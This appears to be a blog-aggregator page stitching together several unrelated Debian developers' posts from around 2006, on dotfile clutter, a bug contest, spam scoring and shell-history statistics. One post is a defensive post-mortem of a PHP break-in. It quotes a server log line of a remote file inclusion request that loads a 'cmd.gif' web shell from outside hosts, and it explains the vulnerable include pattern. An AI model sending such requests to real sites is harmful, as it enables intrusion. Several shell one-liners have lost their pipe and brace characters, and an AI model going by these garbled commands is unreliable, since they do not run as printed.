Holger Levsen: debconf6 RC1 dvds available for download
Please give feedback about your experiences with hardware dvd players.
Thanks again to all people who helped making them possible!
my zsh configuration has grown beyond me. I have used the same configuration for 7+ years (the CVS history only dates back until 1999, but I did not use CVS from the start) across a total of 113 machines, each with their quirks and problems, and I think it's time to officially state that I've lost control.
my mutt configuration is patchy and many parts of it are ugly hacks that have worked in the past, but only because they are built on assumptions about the way I handle mail which may not hold much longer, because...
my mail processing is completely annoying:
egrep -v '^[#[:space:]]*$' ~/.etc/procmail/rc.* wc -l tail -1 8815 totalSince those 8'815 lines in the end still don't do exactly what I want, I really have to rethink the way I do mail. Does anyone know of a way/system/approach to assign tags to email messages using statistic means (like Bayesian filters, or crm114) and how to get mutt to play along?
as an almost-first-day user of vim, and one of those "I use vim for everything types", my configuration file collection is massive. I have all these macros and mechanisms in place, which vim can now handle in a much smarter way, but I just have not found the time to migrate, nor would I really know how to start. And the vim documentation, despite all its links and cross references, is hardly very usable for it always assumes you read it cover to cover.
I have the feeling that the way I use X (Fluxbox) is suboptimal, I find myself juggling windows too much. I've tried ion3, but could not get it to do the things I want. I guess this is mostly related to things I should be automating, and more consistent use of the 10 workspaces I configured.
Welcome to this 3rd issue of the DeFuBu contest, the monthly championship of the funniest bug reported to the Debian BTS.
The challengers
62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/ cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224 "http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?& action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.
From: secretary@debian.org
To: Daniel Burrows
Subject: Acknowledgement for your vote
Spam detection software, running on the system "jester", has
identified this incoming email as possible spam. The original message
has been attached to this so you can view it (if it isn't spam) or label
similar future email. If you have any questions, see
the administrator of that system for details.
Content analysis details: (5.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 NO_REAL_NAME From: does not include a real name
1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO
1.0 BAYES_60 BODY: Bayesian spam probability is 60 to 80%
[score: 0.7536]
2.3 EMPTY_MESSAGE Message appears to be empty with no Subject: text
The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam. If you wish to view
it, it may be safer to save it to a file and open it with an editor.
$ history awk ' print $2 ' awk 'BEGIN FS=" " print $1 ' sort uniq -c sort -rn head -10
234 really
34 fg
25 cd
24 screen
23 tail
22 ls
17 less
16 spammer
13 host
11 man
Spammer is a simple shell function:
spammer()
really iptables -I INPUT -s $1 -j REJECT
On the laptop:
$ history awk ' print $2 ' awk 'BEGIN FS=" " print $1 ' sort uniq -c sort -rn head -10
297 echo
62 ./graph-reduction
53 darcs
30 gdb
10 make
6 ssh
6 LC_ALL=fi_FI@euro
6 cd
4 valgrind
3 top
./graph-reduction is a program I wrote during the week. I’ll blog about it separately. the LC_ALL lines are likely all LC_ALL=fi_FI@euro luit slrn so that slrn would send Latin and not UTF-8 (the latter is strongly discouraged in sfnet).
Next.